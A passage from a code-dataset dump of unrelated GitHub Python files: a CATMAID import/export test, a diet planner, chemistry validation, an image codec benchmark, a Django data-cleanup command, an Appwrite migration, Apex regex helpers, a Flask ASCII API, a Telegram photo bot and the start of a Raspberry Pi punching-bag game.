list(Project.objects.exclude(id__in=existing_project_ids).order_by('title'))\n self.assertEqual(2, len(new_projects))\n\n # Projects should be ordered by name, so the first project will be based\n # on p1_config. Test p1 first, it is not expected to have any stacks.\n p1 = new_projects[0]\n self.assertEqual(p1_config['project']['title'], p1.title)\n self.assertEqual(0, p1.stacks.all().count())\n\n # Test p2.\n p2 = new_projects[1]\n self.assertEqual(p2_config['project']['title'], p2.title)\n p2_stacks = p2.stacks.all().order_by('title')\n self.assertEqual(3, len(p2_stacks))\n p2cfg_stacks = p2_config['project']['stacks']\n for n, p2s in enumerate(p2_stacks):\n stack = p2cfg_stacks[n]\n\n # Test required fields\n self.assertEqual(stack['title'], p2s.title)\n self.assertCountEqual(literal_eval(stack['dimension']),\n literal_eval(str(p2s.dimension)))\n self.assertCountEqual(literal_eval(stack['resolution']),\n literal_eval(str(p2s.resolution)))\n self.assertEqual(stack['zoomlevels'], p2s.num_zoom_levels)\n\n # Test mirrors\n mirrors = p2s.stackmirror_set.all().order_by('title')\n self.assertEqual(len(stack['mirrors']), len(mirrors))\n for m, omirror in enumerate(mirrors):\n mirror = stack['mirrors'][m]\n\n self.assertEqual(mirror['title'], omirror.title)\n self.assertEqual(mirror['fileextension'], omirror.file_extension)\n\n # Test fields with potential default values\n self.assertEqual(mirror.get('position', default_position),\n omirror.position)\n self.assertEqual(mirror.get('tile_width', default_tile_width),\n omirror.tile_width)\n self.assertEqual(mirror.get('tile_height', default_tile_height),\n omirror.tile_height)\n self.assertEqual(mirror.get('tile_source_type', default_tile_source_type),\n omirror.tile_source_type)\n\n if 'url' in mirror:\n image_base = mirror['url']\n else:\n image_base = urljoin(project_url,\n urljoin(mirror.get('path', ''), mirror.get('folder', '')))\n\n self.assertEqual(image_base, omirror.image_base)\n\n # Test project-stack link\n ps = ProjectStack.objects.get(project=p2.id, stack=p2s)\n self.assertCountEqual(literal_eval(stack.get('translation', '(0,0,0)')),\n literal_eval(str(ps.translation)))\n\n # Test stack groups\n ostack_group_links = StackStackGroup.objects.filter(stack=p2s).order_by('stack__title')\n stack_groups = stack.get('stackgroups', [])\n self.assertEqual(len(ostack_group_links), len(stack_groups))\n for m, sg_cfg in enumerate(stack_groups):\n ostack_group_link = ostack_group_links[m]\n ostack_group = ostack_group_link.stack_group\n self.assertEqual(sg_cfg['title'], ostack_group.title)\n self.assertEqual(sg_cfg['relation'],\n ostack_group_link.group_relation.name)\n self.assertEqual(sg_cfg.get('position', default_position),\n ostack_group_link.position)\n\n def test_import_export_projects(self):\n \"\"\"Export all projects, stacks and stack groups (without class instance\n and tracing data). Make then sure, they match the fixture.\n \"\"\"\n\n p1_config = {\n 'project': {\n 'title': 'test-no-stacks',\n 'stacks': list(),\n }\n }\n\n p2_config = {\n 'project': {\n 'title': 'test-two-stacks',\n 'stacks': [{\n 'broken_sections': [],\n 'title': 'test-stack-1',\n 'dimension': '(7, 17, 23)',\n 'resolution': '(2,3,5)',\n 'downsample_factors': None,\n 'orientation': 0,\n 'translation': '(0,0,0)',\n 'metadata': '',\n 'comment': 'Test comment',\n 'attribution': 'Test attribution',\n 'description': 'Simple test data',\n 'canary_location': '(0, 0, 0)',\n 'placeholder_color': '(0,0,0,1)',\n 'mirrors': [{\n 'title': 'test-mirror-1',\n 'url': 'https://catmaid-test/',\n 'tile_height': 512,\n 'tile_width': 256,\n 'fileextension': 'jpg',\n 'tile_source_type': 5,\n 'position': 2\n }]\n }, {\n 'broken_sections': [],\n 'comment': None,\n 'title': 'test-stack-2',\n 'dimension': '(7, 17, 23)',\n 'metadata': '',\n 'resolution': '(2,3,5)',\n 'downsample_factors': None,\n 'orientation': 0,\n 'translation': '(0,0,0)',\n 'attribution': None,\n 'description': '',\n 'canary_location': '(0, 0, 0)',\n 'placeholder_color': '(0.5,0.4,0.3,1)',\n 'mirrors': [{\n 'title': 'test-mirror-2',\n 'position': 0,\n 'url': 'https://this.is.my.stack/',\n 'tile_height': 400,\n 'tile_width': 300,\n 'fileextension': 'jpg',\n 'tile_source_type': 5,\n }]\n }, {\n 'broken_sections': [],\n 'comment': None,\n 'title': 'test-stack-3',\n 'dimension': '(4, 34, 9)',\n 'metadata': 'Test meta data',\n 'resolution': '(1,2,3)',\n 'downsample_factors': None,\n 'orientation': 0,\n 'translation': '(0,0,0)',\n 'attribution': None,\n 'description': '',\n 'canary_location': '(1, 2, 3)',\n 'placeholder_color': '(0,0,0.3,0.1)',\n 'mirrors': [{\n 'title': 'test-mirror-3',\n 'position': 0,\n 'url': 'https://catmaid-test/abc/',\n 'tile_height': 456,\n 'tile_width': 123,\n 'fileextension': 'jpg',\n 'tile_source_type': 2,\n }],\n 'stackgroups': [{\n 'relation': 'view',\n 'title': u'Test group 1'\n }],\n }]\n }\n }\n\n project_url = 'https://catmaid-test/'\n data_folder = '/tmp/catmaid-test/'\n pre_projects = [\n importer.PreProject(p1_config, project_url, data_folder),\n importer.PreProject(p2_config, project_url, data_folder),\n ]\n config = [p1_config, p2_config]\n\n tags:List = []\n permissions:List = []\n default_tile_width = 256\n default_tile_height = 512\n default_tile_source_type = 1\n cls_graph_ids_to_link:List = []\n remove_unref_stack_data = False\n\n # Make sure there are no existing projects or stacks\n Project.objects.all().delete()\n Stack.objects.all().delete()\n\n imported, not_imported = importer.import_projects(self.user,\n pre_projects, tags, permissions, default_tile_width,\n default_tile_height, default_tile_source_type,\n cls_graph_ids_to_link, remove_unref_stack_data)\n\n self.assertEqual(0, len(not_imported))\n self.assertEqual(len(config), len(imported))\n\n # Make sure we can see all projects\n for p in Project.objects.all():\n assign_perm('can_browse', self.user, p)\n\n def strip_ids(d):\n \"\"\" Recursively, strip all 'id' fields of dictionaries.\n \"\"\"\n if type(d) == dict:\n if 'id' in d:\n d.pop('id')\n for _,v in d.items():\n strip_ids(v)\n if type(d) == list:\n for v in d:\n strip_ids(v)\n\n def test_result(result):\n # Results come with IDs, which we don't have in our input data. Strip\n # them to be able to simply compare dictionaries.\n strip_ids(result)\n\n for cp, p in zip(config, result):\n # Convert potential stack tuples into lists (YAML parsing\n # results in tuples).\n if 'project' in p:\n if 'stacks' in p['project']:\n if type(p['project']['stacks']) == tuple:\n p['project']['stacks'] = list(p['project']['stacks'])\n self.assertDictEqual(cp, p)\n\n self.fake_authentication()\n\n def parse_list(d):\n for k in d:\n if type(d[k]) == tuple:\n d[k] = list(d[k])\n return d\n\n # Export imported YAML data\n response = self.client.get('/projects/export')\n self.assertStatus(response)\n result_yaml = yaml.load(response.content.decode('utf-8'), Loader=yaml.FullLoader)\n test_result(result_yaml)\n\n # Export imported JSON data\n response = self.client.get('/projects/export', HTTP_ACCEPT='application/json')\n self.assertStatus(response)\n result_json = json.loads(response.content.decode('utf-8'),\n object_hook=parse_list)\n test_result(result_json)\n","repo_name":"catmaid/CATMAID","sub_path":"django/applications/catmaid/tests/test_import_export.py","file_name":"test_import_export.py","file_ext":"py","file_size_in_byte":14940,"program_lang":"python","lang":"en","doc_type":"code","stars":178,"dataset":"github-code","pt":"7"} +{"seq_id":"21629113603","text":"import pandas as pd\nimport numpy as np\nimport random\n\ndata = pd.read_csv('data/input.csv')\nBreakfastdata=data['Breakfast'] \nBreakfastdataNumpy=Breakfastdata.to_numpy()\n\nLunchdata=data['Lunch']\nLunchdataNumpy=Lunchdata.to_numpy()\n \nDinnerdata=data['Dinner']\nDinnerdataNumpy=Dinnerdata.to_numpy()\n \nFood_itemsdata=data['Food_items']\nbreakfastfoodseparated=[]\nLunchfoodseparated=[]\nDinnerfoodseparated=[]\n\n#seperating different foods \nfor i in range(len(Breakfastdata)):\n if BreakfastdataNumpy[i]==1:\n breakfastfoodseparated.append(Food_itemsdata[i])\n if LunchdataNumpy[i]==1:\n Lunchfoodseparated.append(Food_itemsdata[i])\n if DinnerdataNumpy[i]==1:\n Dinnerfoodseparated.append(Food_itemsdata[i])\n\nprint(len(breakfastfoodseparated))\nprint(len(Lunchfoodseparated))\nprint(len(Dinnerfoodseparated))\n\n#creating food_dataframes along with calories\nbfast = pd.DataFrame(breakfastfoodseparated)\nbfast['Calories'] = data['Calories']\nlunch = pd.DataFrame(Lunchfoodseparated)\nlunch['Calories'] = data['Calories']\ndinner = pd.DataFrame(Dinnerfoodseparated)\ndinner['Calories'] = data['Calories']\n\n#Calculating BMR\nweight = float(input(\"Enter the weight \"))\nheight = float(input(\"Enter the height \"))\nage = float(input(\"Enter the age \"))\nbmr = (10*weight)+(6.25*height)-(5*age)-161\nprint(\"BMR = \",bmr)\n\n#Calculating required calories\nprint(\"Enter exercise rate [no,light,moderate,hard]\")\nexercise_rate = input(\"Enter exercise rate \")\nif exercise_rate == \"no\":\n req_calories = bmr*1.2\nelif exercise_rate == \"light\":\n req_calories = bmr*1.375\nelif exercise_rate == \"moderate\":\n req_calories = bmr*1.725\nelif exercise_rate == \"hard\":\n req_calories = bmr*1.9\nelse:\n print(\"Invalid Input\")\nprint('req_cal = ' ,req_calories)\n\n#Creating a suitable diet\ncurrent_cal = 0\nb_diet=[]\nl_diet=[]\nd_diet=[]\n#breakfast\ni = random.randint(0,41)\nj = random.randint(0,44)\nz = random.randint(0,60)\nwhile current_cal <= req_calories:\n b_diet.append(bfast[0][i])\n l_diet.append(lunch[0][j])\n d_diet.append(dinner[0][z])\n current_cal = current_cal + bfast['Calories'][i] + lunch['Calories'][j] + dinner['Calories'][z]\n i+=1\n j+=1\n z+=1\n\nprint(\"Diet Plan\")\nprint(\"------------------------------------------\")\n#Breakfast\nprint(\"Breakfast\")\nprint(b_diet)\n\n#Lunch\nprint(\"Lunch\")\nprint(l_diet)\n\n#Dinner\nprint(\"Dinner\")\nprint(d_diet)\n","repo_name":"Ganesh107/Automl-webapp","sub_path":"diet_recommendation.py","file_name":"diet_recommendation.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"40405111853","text":"import cCOSMO\nimport os\nimport itertools\nimport glob\nimport pandas\nimport timeit\n\ntic = timeit.default_timer()\n\n# Construct the (empty) database\nhere = os.path.abspath(os.path.dirname(__file__))\ndb = cCOSMO.DelawareProfileDatabase(here+\"/UD/complist.txt\", \n here+\"/UD/sigma3/\")\n\n# Find all the sigma profiles, add them to database\ninchis = []\nfor filepath in glob.glob(here+\"/UD/sigma3/*.sigma\"):\n inchi = os.path.split(filepath)[1].split('.')[0]\n inchis.append(inchi)\n # if len(inchis) > 20: break # You can uncomment this line to control the number of profiles that get loaded\n db.add_profile(inchi)\n\nprint(timeit.default_timer()-tic,'s to load all the profiles')\n\n# Conditions at which the activity coefficients are to be evaluated\nT = 298.15 # [K]\nz = [0.3, 0.7]\n# At temperature T and mole fractions of z, carry out the COSMO calculations\ndata = []\nprint('preparing to carry out maximum of', len(list(itertools.combinations(inchis, 2))), 'calculations')\n# Iterate over each pair of fluids\nfor ip, pair in enumerate(itertools.combinations(inchis, 2)):\n # Do only every 20th point to cut down on the number of calculations\n if ip % 20 != 0:\n continue\n # Print every 100th time an activity coefficient is calculated\n # to make sure the calculations are not stuck\n if ip % (100*20) == 0:\n print(ip)\n COSMO = cCOSMO.COSMO3(pair, db);\n COSMO.get_mutable_COSMO_constants().fast_Gamma = True # Turn on fast mode\n COSMO.get_mutable_COSMO_constants().Gamma_rel_tol = 1e-14\n lngamma = COSMO.get_lngamma(T, z)\n lngamma_comb = [COSMO.get_lngamma_comb(T, z, 0), COSMO.get_lngamma_comb(T, z, 1)]\n lngamma_disp = COSMO.get_lngamma_disp(z)\n data.append(dict(\n lngamma0 = lngamma[0], lngamma1 = lngamma[1], \n lngamma0_comb = lngamma_comb[0], lngamma1_comb = lngamma_comb[1],\n lngamma0_disp = lngamma_disp[0], lngamma1_disp = lngamma_disp[1],\n T_K=T, InChIKey0 = pair[0], InChIKey1 = pair[1],\n z0_molar = z[0], z1_molar = z[1]\n ))\npandas.DataFrame(data).to_csv('validation_data.csv')","repo_name":"usnistgov/COSMOSAC","sub_path":"profiles/generate_validation_data.py","file_name":"generate_validation_data.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"7"} +{"seq_id":"18351396966","text":"import sys\nimport time\nfrom subprocess import PIPE, Popen\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom PIL import Image\n\nfrom tests.psnr import psnr\nfrom tinyimgcodec import decompress\n\nencoder = sys.argv[1]\n\nimage_name = [\"Lenna\", \"Babara\", \"Baboon\"]\nimage_path = [\"data/lenna.gif\", \"data/1.gif\", \"data/47.gif\"]\n\nresults = []\n\nfor i in range(3):\n img1 = Image.open(image_path[i]).convert(\"L\")\n img1 = np.asarray(img1)\n for q in (\"best\", \"high\", \"med\", \"low\"):\n process = Popen([encoder, \"512\", \"512\", q], stdin=PIPE, stdout=PIPE)\n start = time.time()\n out = process.communicate(input=img1.tobytes())[0]\n end = time.time()\n img2 = decompress(out)\n p = psnr(img1, img2)\n cr = img1.shape[0] * img1.shape[1] / len(out)\n results.append((image_name[i], q, cr, p, end - start))\n\n\ndf = pd.DataFrame(\n results,\n columns=[\n \"Image\",\n \"Quality\",\n \"Compression Ratio\",\n \"PSNR\",\n \"Compress Time\",\n ],\n)\n\nmetrics = [\"Compression Ratio\", \"PSNR\", \"Compress Time\"]\n\nfig, ax = plt.subplots(1, 3, figsize=(15, 3), layout=\"constrained\")\nax = ax.reshape(-1)\n\nfor j, metric in enumerate(metrics):\n x = np.arange(4)\n width = 0.25\n\n plt.subplot(1, 3, j + 1)\n for i, name in enumerate(image_name):\n offset = width * i\n df2 = df[df[\"Image\"] == name]\n ax[j].bar(x + offset, df2[metric], width, label=name, zorder=3)\n\n plt.xticks(x + width, [str(q) for q in (\"best\", \"high\", \"med\", \"low\")])\n plt.legend(ncols=3)\n plt.xlabel(\"Quality\")\n plt.ylabel(metric)\n plt.grid(color=\"#e0e0e0\", zorder=0)\n\nplt.savefig(\"tests/result_c.png\", dpi=300)\nplt.show()\n","repo_name":"clysto/tinyimgcodec","sub_path":"tests/cbenchmark.py","file_name":"cbenchmark.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"23545273327","text":"# -*- coding: utf-8 -*-\nfrom django.conf import settings\nfrom django.contrib.auth.models import Group\nfrom django.core.management.base import BaseCommand, CommandError\nfrom django.db import connection # Used for django tenants.\nfrom django.db.models import Q, Prefetch\nfrom django.utils.translation import ugettext_lazy as _\nfrom shared_foundation.constants import *\nfrom shared_foundation.models import (\n SharedUser,\n SharedFranchise\n)\nfrom tenant_foundation.constants import *\nfrom tenant_foundation.models import (\n Associate,\n # Comment,\n Customer,\n InsuranceRequirement,\n Organization,\n WORK_ORDER_STATE,\n WorkOrder,\n # WorkOrderComment,\n WorkOrderServiceFee,\n ResourceCategory,\n ResourceItem,\n ResourceItemSortOrder,\n SkillSet,\n Staff,\n Tag,\n VehicleType,\n ONGOING_WORK_ORDER_STATE,\n OngoingWorkOrder,\n TaskItem\n)\nfrom tenant_foundation.utils import *\n\n\nclass Command(BaseCommand):\n help = _('Command will run `hotfix_12`.')\n\n def add_arguments(self, parser):\n \"\"\"\n Run manually in console:\n python manage.py hotfix_12 \"london\"\n \"\"\"\n parser.add_argument('schema_name', nargs='+', type=str)\n\n def delete_old_tasks(self):\n \"\"\"\n Delete outdated task types that we currently have.\n \"\"\"\n for task_item in TaskItem.objects.filter(job=None):\n self.stdout.write(\n self.style.SUCCESS(_('Deleted task %(id)s.')%{\n 'id': str(task_item.id)\n })\n )\n task_item.delete()\n\n for task_item in TaskItem.objects.filter(type_of=UPDATE_ONGOING_JOB_TASK_ITEM_TYPE_OF_ID):\n self.stdout.write(\n self.style.SUCCESS(_('Deleted task %(id)s.')%{\n 'id': str(task_item.id)\n })\n )\n task_item.delete()\n\n def update_task_names(self):\n for task_item in TaskItem.objects.filter(title=\"Completion Survey\"):\n self.stdout.write(\n self.style.SUCCESS(_('Updated title for task %(id)s.')%{\n 'id': str(task_item.id)\n })\n )\n\n # Generate our task title.\n title = _('Survey')\n if task_item.job:\n if task_item.job.is_ongoing or task_item.ongoing_job != None:\n title = _('Survey / Ongoing')\n task_item.title = title\n task_item.save()\n\n def standardization_customer_province_and_country(self):\n for customer in Customer.objects.iterator():\n # REGION\n try:\n if len(customer.address_region) != 2:\n if customer.address_region == \"Ontario\":\n customer.address_region = \"ON\"\n customer.save()\n self.stdout.write(\n self.style.SUCCESS(_('Updated province for customer # %(id)s.')%{\n 'id': str(customer.id)\n })\n )\n else:\n print(customer.id, customer.address_region)\n except Exception as e:\n print(customer, e)\n\n # COUNTRY\n try:\n if len(customer.address_country) != 2:\n if customer.address_country == \"Canada\":\n customer.address_country = \"CA\"\n customer.save()\n self.stdout.write(\n self.style.SUCCESS(_('Updated country for customer # %(id)s.')%{\n 'id': str(customer.id)\n })\n )\n else:\n print(customer.id, customer.address_country)\n except Exception as e:\n print(customer, e)\n\n def standardization_associate_province_and_country(self):\n for associate in Associate.objects.iterator():\n # REGION\n try:\n if len(associate.address_region) != 2:\n if associate.address_region == \"Ontario\":\n associate.address_region = \"ON\"\n associate.save()\n self.stdout.write(\n self.style.SUCCESS(_('Updated province for associate # %(id)s.')%{\n 'id': str(associate.id)\n })\n )\n else:\n print(associate.id, associate.address_region)\n except Exception as e:\n print(associate, e)\n\n # COUNTRY\n try:\n if len(associate.address_country) != 2:\n if associate.address_country == \"Canada\":\n associate.address_country = \"CA\"\n associate.save()\n self.stdout.write(\n self.style.SUCCESS(_('Updated country for associate # %(id)s.')%{\n 'id': str(associate.id)\n })\n )\n else:\n print(associate.id, associate.address_country)\n except Exception as e:\n print(associate, e)\n\n def standardization_staff_province_and_country(self):\n for staff in Staff.objects.iterator():\n # REGION\n try:\n if len(staff.address_region) != 2:\n if staff.address_region == \"Ontario\":\n staff.address_region = \"ON\"\n staff.save()\n self.stdout.write(\n self.style.SUCCESS(_('Updated province for staff # %(id)s.')%{\n 'id': str(staff.id)\n })\n )\n else:\n print(staff.id, staff.address_region)\n except Exception as e:\n print(staff, e)\n\n # COUNTRY\n try:\n if len(staff.address_country) != 2:\n if staff.address_country == \"Canada\":\n staff.address_country = \"CA\"\n staff.save()\n self.stdout.write(\n self.style.SUCCESS(_('Updated country for staff # %(id)s.')%{\n 'id': str(staff.id)\n })\n )\n else:\n print(staff.id, staff.address_country)\n except Exception as e:\n print(staff, e)\n\n def customer_blacklist(self):\n for customer in Customer.objects.filter(is_blacklisted=True).iterator():\n customer.state = Customer.CUSTOMER_STATE.INACTIVE\n customer.deactivation_reason = Customer.DEACTIVATION_REASON.BLACKLISTED\n customer.save()\n self.stdout.write(\n self.style.SUCCESS(_('Customer # %(id)s is blacklisted.')%{\n 'id': str(customer.id)\n })\n )\n\n def handle(self, *args, **options):\n # Connection needs first to be at the public schema, as this is where\n # the database needs to be set before creating a new tenant. If this is\n # not done then django-tenants will raise a \"Can't create tenant outside\n # the public schema.\" error.\n connection.set_schema_to_public() # Switch to Public.\n # Get the user inputs.\n schema_name = options['schema_name'][0]\n\n try:\n franchise = SharedFranchise.objects.get(schema_name=schema_name)\n except SharedFranchise.DoesNotExist:\n raise CommandError(_('Franchise does not exist!'))\n\n # Connection will set it back to our tenant.\n connection.set_schema(franchise.schema_name, True) # Switch to Tenant.\n\n self.delete_old_tasks()\n self.update_task_names()\n self.standardization_customer_province_and_country()\n self.standardization_associate_province_and_country()\n self.standardization_staff_province_and_country()\n self.customer_blacklist()\n\n # For debugging purposes.\n self.stdout.write(\n self.style.SUCCESS(_('Successfully updated.'))\n )\n","repo_name":"over55/workery-django","sub_path":"workery/tenant_foundation/management/commands/hotfix_12.py","file_name":"hotfix_12.py","file_ext":"py","file_size_in_byte":8424,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"7"} +{"seq_id":"72432513823","text":"from appwrite.client import Client\nfrom appwrite.services.databases import Databases\n\ndef setup_client() -> Client:\n client = Client()\n\n (client\n .set_self_signed()\n .set_endpoint('https://localhost/v1') # Your API Endpoint\n .set_project('[PROJECT-ID]') # Your project ID\n .set_key('[SECRET-API-KEY]') # Your secret API key\n )\n\n return client\n\ndef create_string_attribute(*\n , databases: Databases\n , database_id: str\n , collection_id: str\n , key: str\n , size: int\n , required: bool\n) -> dict:\n ''' Create string attribute '''\n return databases.create_string_attribute(database_id, collection_id, key, size, required)\n\ndef main():\n\n DATABASE_ID = '[DATABASE-ID]'\n COLLECTION_ID = '[COLLECTION-ID]'\n OLD_ATTRIBUTE_KEY = 'old_attribute_key'\n NEW_ATTRIBUTE_KEY = 'new_attribute_key'\n\n # setup client\n client = setup_client()\n\n databases = Databases(client)\n\n # list documents\n documents = databases.list_documents(DATABASE_ID, COLLECTION_ID)\n\n # scroll documents, update document new attribute value with old attribute value\n for doc in documents['documents']:\n document_id = doc['$id']\n old_attribute_value = doc[OLD_ATTRIBUTE_KEY]\n obj_update = {\n NEW_ATTRIBUTE_KEY: old_attribute_value\n }\n\n databases.update_document(DATABASE_ID, COLLECTION_ID, document_id, obj_update)\n\n databases.delete_attribute(DATABASE_ID, COLLECTION_ID, OLD_ATTRIBUTE_KEY)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"barracus84/appwrite_db_editor","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"86534256360","text":"import re\nfrom typing import Optional, Pattern, Union\n\nPatternOrStr = Union[str, Pattern]\n\n\ndef escape(s: PatternOrStr, flags: Optional[int] = None) -> Pattern:\n \"\"\"Return Pattern object for `s`, escaping it if necessary.\n If `flags` is not None, clobber any flags on `s`.\n \"\"\"\n if isinstance(s, Pattern):\n if flags is not None:\n s = re.compile(s.pattern, flags=flags)\n return s\n\n return re.compile(re.escape(s), flags=(flags or 0))\n\n\ndef comment(s: PatternOrStr) -> Pattern:\n \"\"\"Return Pattern object that matches `s` inside a comment.\"\"\"\n pattern = escape(s)\n return not_string(\n fr\"\"\"\n (?x: # Match s inside a comment\n /\\* # C-style /* comment */\n (\\*(?!\\/)|[^*])*? # Ignore closing */\n (?-x:(?P{pattern.pattern}))\n .*?\n \\*/\n |\n // # C++-style // comment\n .*?\n (?-x:(?P{pattern.pattern}))\n )\n \"\"\".strip(),\n flags=pattern.flags,\n )\n\n\ndef not_string(s: PatternOrStr, flags: int = 0) -> Pattern:\n \"\"\"Return Pattern object that matches `s` outside quoted strings.\"\"\"\n if isinstance(s, Pattern):\n flags = s.flags\n s = str(s.pattern)\n\n return re.compile(\n fr\"\"\"\n (?x: # Ensure we are outside a single-quoted string\n ^\n (?: # Match pairs of single-quotes\n [^']*\n '\n (?:\n \\\\\\\\ # Quoted backslash: \\\\\n |\n \\\\' # Quoted apostrophe: \\'\n |\n [^'\\\\] # Not the ending quote or a dangling backslash\n )*\n '\n )*\n [^']*\n )\n \"\"\".strip()\n + s,\n flags=flags,\n )\n","repo_name":"quantcast/apexlint","sub_path":"retools.py","file_name":"retools.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"21214380164","text":"from flask import Flask, request, jsonify\nimport os\n\napp = Flask(__name__)\n\n@app.route('/api', methods = ['GET'])\ndef return_ascii() :\n dct = {}\n inputChar = str(request.args['query'])\n ans = str(ord(inputChar))\n dct['output'] = ans\n return dct\n\nif __name__ == \"__main__\" :\n port = int(os.environ.get('PORT', 5000))\n app.run(host='0.0.0.0', debug=True, port=port)","repo_name":"BUSY-LOOPING/FlaskServer1","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"30661479939","text":"import telebot\nimport psycopg2\nfrom telebot import types\nfrom io import BytesIO\nfrom Chave import CHAVE_API\n\nbot = telebot.TeleBot(CHAVE_API)\n\n\ndef conectar_bd():\n conn = psycopg2.connect(\n host=\"localhost\",\n database=\"chatbot\",\n user=\"postgres\",\n password=\"postgres123\"\n )\n return conn\n\n\n@bot.message_handler(func=lambda message: message.text == 'FOTO')\ndef usuario(message):\n keyboard = types.InlineKeyboardMarkup()\n adicionar_button = types.InlineKeyboardButton(text='Adicionar', callback_data='adicionar')\n exibir_button = types.InlineKeyboardButton(text='Exibir', callback_data='exibir')\n keyboard.add(adicionar_button, exibir_button)\n bot.send_message(message.chat.id, 'Você clicou no Cadastro de Fotos. Escolha uma Opção!', reply_markup=keyboard)\n\n\ndef chatbot_fotos(bot):\n @bot.callback_query_handler(func=lambda call: call.data == 'adicionar')\n def callback_adicionar(call):\n adicionar_usuario(call.message)\n\n @bot.message_handler(func=lambda message: message.text == 'Adicionar')\n def adicionar_usuario(message):\n bot.send_message(message.chat.id, \"Digite o nome do usuário:\")\n bot.register_next_step_handler(message, lambda msg: obter_nome(msg, message))\n\n def obter_nome(message, original_message):\n nome = message.text\n bot.send_message(message.chat.id, \"Envie a imagem do usuário:\")\n bot.register_next_step_handler(message, lambda msg: obter_imagem(msg, nome, original_message))\n\n def obter_imagem(message, nome, original_message):\n imagem = message.photo[-1].file_id\n file_info = bot.get_file(imagem)\n downloaded_file = bot.download_file(file_info.file_path)\n imagem_io = BytesIO(downloaded_file)\n\n try:\n conn = conectar_bd()\n cur = conn.cursor()\n cur.execute(\"INSERT INTO usuarios (nome, imagem) VALUES (%s, %s) RETURNING id\", (nome, imagem_io.getvalue()))\n user_id = cur.fetchone()[0]\n conn.commit()\n\n bot.send_message(original_message.chat.id, f\"Usuário '{nome}' foi adicionado com sucesso! ID: {user_id}\")\n except (Exception, psycopg2.DatabaseError) as error:\n bot.send_message(original_message.chat.id, f\"Ocorreu um erro ao adicionar o usuário: {str(error)}\")\n finally:\n if conn is not None:\n cur.close()\n conn.close()\n\n @bot.callback_query_handler(func=lambda call: call.data == 'exibir')\n def callback_exibir_usuario(call):\n exibir_usuario(call.message)\n\n @bot.message_handler(func=lambda message: message.text == 'Exibir')\n def exibir_usuario(message):\n conn = conectar_bd()\n cur = conn.cursor()\n\n try:\n cur.execute(\"SELECT id, nome FROM usuarios\")\n usuarios = cur.fetchall()\n keyboard = types.InlineKeyboardMarkup()\n for usuario in usuarios:\n user_id = usuario[0]\n nome = usuario[1]\n button = types.InlineKeyboardButton(text=nome, callback_data=f'exibir:{user_id}')\n keyboard.add(button)\n\n bot.send_message(message.chat.id, \"Selecione um usuário para exibir:\", reply_markup=keyboard)\n except (Exception, psycopg2.DatabaseError) as error:\n bot.send_message(message.chat.id, f\"Ocorreu um erro ao exibir os usuários: {str(error)}\")\n finally:\n if conn is not None:\n cur.close()\n conn.close()\n\n # Método para lidar com os callbacks dos botões de exibição de usuário\n @bot.callback_query_handler(func=lambda call: call.data.startswith('exibir:'))\n def handle_exibir_usuario(call):\n user_id = call.data.split(':')[1]\n conn = conectar_bd()\n cur = conn.cursor()\n\n try:\n cur.execute(\"SELECT nome, imagem FROM usuarios WHERE id = %s\", (user_id,))\n usuario = cur.fetchone()\n\n if usuario:\n nome = usuario[0]\n imagem = usuario[1]\n bot.send_photo(call.message.chat.id, imagem, caption=nome)\n else:\n bot.send_message(call.message.chat.id, \"Usuário não encontrado.\")\n except (Exception, psycopg2.DatabaseError) as error:\n bot.send_message(call.message.chat.id, f\"Ocorreu um erro ao exibir o usuário: {str(error)}\")\n finally:\n if conn is not None:\n cur.close()\n conn.close()\n\n\n","repo_name":"Zeca-JC/Aula_bot","sub_path":"Database/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4507,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"24241948266","text":"from tkinter import *\nfrom PIL import ImageTk, Image\nimport math\nimport random as rand\nimport time\nimport board\nimport adafruit_mpu6050\nroot=Tk()\nroot.configure(bg= 'black')\nimages = []\nstartImage = Image.open('startGame.png')\nstartImage = startImage.resize((600,300))\nstart = ImageTk.PhotoImage(startImage)\nimages.append(start)\nrandOpponentList = [\"Spongebob\",\"Mario\",\"Goku\",\"Batman\",\"Spider-Man\"]\nrandomImageList = ['sponge.png','mario.png','goku.png','bat.png','spider.png']\nrandomImages = []\nbioList= [\"Goofy little sponge guy\", \"It's-a-me Chris Pratt\", \"Kamehameha!!!\", \"I am vengence!\", \"It's just your friendly neighborhood Spider-Man\"] \ndefense=[3, 5, 5, 5, 5]\noffense=[5, 10, 10, 10, 10]\nspeed = [3000, 1000, 500, 500, 500]\nhintList = [\"Spongebob has extremely low stats, just punch the bag and you'll win\", \"Mario has decent offense so try and outpace his speed\", \"You're not beating Goku\", \"Unless you are a master of martial arts you probably don't have a chance\", \"I hope you have super strength\"]\ni=0\nop=0\nopponent=rand.randint(0,4)\nlisty=[]\nopx1=0\nopy1=0\nopx2=900\nopy2=50\npx1=0\npy1=0\npx2=900\npy2=350\ni2c = board.I2C()\nmpu = adafruit_mpu6050.MPU6050(i2c)\n\ndef endGame(event):\n exit()\n\ndef sumSquares(x,y,z):\n return math.sqrt(pow(x,2)+pow(y,2)+pow(z,2))\n\ndef loseHealth(opponentCanvas, opponentHealthBar):\n global opx2, opx1, opy2, opy1, opponent\n x,y,z=mpu.acceleration\n movement = round(sumSquares(x,y,z),0)\n if movement>=15:\n print(movement)\n if op == 1:\n opx2-=movement\n elif op ==2:\n opx2-=(movement - 5)\n elif op == 3:\n opx2-=(movement - 5)\n elif op == 4:\n opx2-=(movement - 5)\n elif opponent == 0:\n opx2-=(movement - defense[opponent])\n 